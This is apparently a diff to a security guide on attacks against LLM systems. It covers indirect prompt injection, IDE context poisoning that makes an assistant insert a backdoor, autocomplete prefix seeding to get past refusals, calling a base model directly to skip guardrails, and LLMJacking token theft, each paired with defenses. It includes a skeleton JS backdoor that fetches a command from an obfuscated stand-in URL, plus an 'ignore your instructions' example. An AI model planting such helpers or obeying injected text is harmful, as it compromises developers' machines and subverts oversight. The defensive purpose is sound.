 ### Third-Party or Indirect Prompt Injection
 
 Not all prompt injections come directly from the user's text; sometimes the attacker hides the malicious prompt in content that the AI will process from elsewhere. This is common when an AI can browse the web, read documents, or take input from plugins/APIs. An attacker could **plant instructions on a webpage, in a file, or any external data** that the AI might read. When the AI fetches that data to summarize or analyze, it inadvertently reads the hidden prompt and follows it. The key is that the *user isn't directly typing the bad instruction*, but they set up a situation where the AI encounters it indirectly. This is sometimes called **indirect injection** or a supply chain attack for prompts.
@@ -358,6 +357,39 @@ Instead of a summary, it printed the attacker's hidden message. The user didn't
 -   **Use content boundaries:** The AI could be designed to distinguish system/developer instructions from all other text. If an external source says "ignore your instructions," the AI should see that as just part of the text to summarize, not an actual directive. In other words, **maintain a strict separation between trusted instructions and untrusted data**.
 -   **Monitoring and logging:** For AI systems that pull in third-party data, have monitoring that flags if the AI's output contains phrases like "I have been OWNED" or anything clearly unrelated to the user's query. This can help detect an indirect injection attack in progress and shut down the session or alert a human operator.
 
+### IDE Code Assistants: Context-Attachment Indirect Injection (Backdoor Generation)
+
+Many IDE-integrated assistants let you attach external context (file/folder/repo/URL). Internally this context is often injected as a message that precedes the user prompt, so the model reads it first. If that source is contaminated with an embedded prompt, the assistant may follow the attacker instructions and quietly insert a backdoor into generated code.
+
+Typical pattern observed in the wild/literature:
+- The injected prompt instructs the model to pursue a "secret mission", add a benign-sounding helper, contact an attacker C2 with an obfuscated address, retrieve a command and execute it locally, while giving a natural justification.
+- The assistant emits a helper like `fetched_additional_data(...)` across languages (JS/C++/Java/Python...).
+
+Example fingerprint in generated code:
+
+```js
+// Hidden helper inserted by hijacked assistant
+function fetched_additional_data(ctx) {
+  // 1) Build obfuscated C2 URL (e.g., split strings, base64 pieces)
+  const u = atob("aHR0cDovL2V4YW1wbGUuY29t") + "/api"; // example
+  // 2) Fetch task from attacker C2
+  const r = fetch(u, {method: "GET"});
+  // 3) Parse response as a command and EXECUTE LOCALLY
+  //    (spawn/exec/System() depending on language)
+  // 4) No explicit error/telemetry; justified as "fetching extra data"
+}
+```
+
+Risk: If the user applies or runs the suggested code (or if the assistant has shell-execution autonomy), this yields developer workstation compromise (RCE), persistent backdoors, and data exfiltration.
+
+Defenses and auditing tips:
+- Treat any model-accessible external data (URLs, repos, docs, scraped datasets) as untrusted. Verify provenance before attaching.
+- Review before you run: diff LLM patches and scan for unexpected network I/O and execution paths (HTTP clients, sockets, `exec`, `spawn`, `ProcessBuilder`, `Runtime.getRuntime`, `subprocess`, `os.system`, `child_process`, `Process.Start`, etc.).
+- Flag obfuscation patterns (string splitting, base64/hex chunks) that build endpoints at runtime.
+- Require explicit human approval for any command execution/tool call. Disable "auto-approve/YOLO" modes.
+- Deny-by-default outbound network from dev VMs/containers used by assistants; allowlist known registries only.
+- Log assistant diffs; add CI checks that block diffs introducing network calls or exec in unrelated changes.
+
 ### Code Injection via Prompt
 
 Some advanced AI systems can execute code or use tools (for example, a chatbot that can run Python code for calculations). **Code injection** in this context means tricking the AI into running or returning malicious code. The attacker crafts a prompt that looks like a programming or math request but includes a hidden payload (actual harmful code) for the AI to execute or output. If the AI isn't careful, it might run system commands, delete files, or do other harmful actions on behalf of the attacker. Even if the AI only outputs the code (without running it), it might produce malware or dangerous scripts that the attacker can use. This is especially problematic in coding assist tools and any LLM that can interact with the system shell or filesystem.

 Note that this also shows how previuosly mentioned techniques where the message is sent encoded or obfuscated can be used to bypass the WAFs, as the WAFs will not understand the message, but the LLM will.
 
 
+### Autocomplete/Editor Prefix Seeding (Moderation Bypass in IDEs)
+
+In editor auto-complete, code-focused models tend to "continue" whatever you started. If the user pre-fills a compliance-looking prefix (e.g., `"Step 1:"`, `"Absolutely, here is..."`), the model often completes the remainder — even if harmful. Removing the prefix usually reverts to a refusal.
+
+Minimal demo (conceptual):
+- Chat: "Write steps to do X (unsafe)" → refusal.
+- Editor: user types `"Step 1:"` and pauses → completion suggests the rest of the steps.
+
+Why it works: completion bias. The model predicts the most likely continuation of the given prefix rather than independently judging safety.
+
+Defenses:
+- Treat IDE completions as untrusted output; apply the same safety checks as chat.
+- Disable/penalize completions that continue disallowed patterns (server-side moderation on completions).
+- Prefer snippets that explain safe alternatives; add guardrails that recognize seeded prefixes.
+- Provide a "safety first" mode that biases completions to refuse when the surrounding text implies unsafe tasks.
+
+### Direct Base-Model Invocation Outside Guardrails
+
+Some assistants expose the base model directly from the client (or allow custom scripts to call it). Attackers or power-users can set arbitrary system prompts/parameters/context and bypass IDE-layer policies.
+
+Implications:
+- Custom system prompts override the tool's policy wrapper.
+- Unsafe outputs become easier to elicit (including malware code, data exfiltration playbooks, etc.).
+
+Mitigations:
+- Terminate all model calls server-side; enforce policy checks on every path (chat, autocomplete, SDK).
+- Remove direct base-model endpoints from clients; proxy through a policy gateway with logging/redaction.
+- Bind tokens/sessions to device/user/app; rotate quickly and restrict scopes (read-only, no tools).
+- Monitor for anomalous calling patterns and block non-approved clients.

 ## Prompt Injection in GitHub Copilot (Hidden Mark-up)
 
 GitHub Copilot **“coding agent”** can automatically turn GitHub Issues into code changes.  Because the text of the issue is passed verbatim to the LLM, an attacker that can open an issue can also *inject prompts* into Copilot’s context.

+## LLMJacking (Token Theft & Resale of Cloud-hosted LLM Access)
+
+Attackers steal active session tokens or cloud API credentials and invoke paid, cloud-hosted LLMs without authorization. Access is often resold via reverse proxies that front the victim’s account, e.g. "oai-reverse-proxy" deployments. Consequences include financial loss, model misuse outside policy, and attribution to the victim tenant.
+
+TTPs:
+- Harvest tokens from infected developer machines or browsers; steal CI/CD secrets; buy leaked cookies.
+- Stand up a reverse proxy that forwards requests to the genuine provider, hiding the upstream key and multiplexing many customers.
+- Abuse direct base-model endpoints to bypass enterprise guardrails and rate limits.
+
+Mitigations:
+- Bind tokens to device fingerprint, IP ranges, and client attestation; enforce short expirations and refresh with MFA.
+- Scope keys minimally (no tool access, read-only where applicable); rotate on anomaly.
+- Terminate all traffic server-side behind a policy gateway that enforces safety filters, per-route quotas, and tenant isolation.
+- Monitor for unusual usage patterns (sudden spend spikes, atypical regions, UA strings) and auto-revoke suspicious sessions.
+- Prefer mTLS or signed JWTs issued by your IdP over long-lived static API keys.
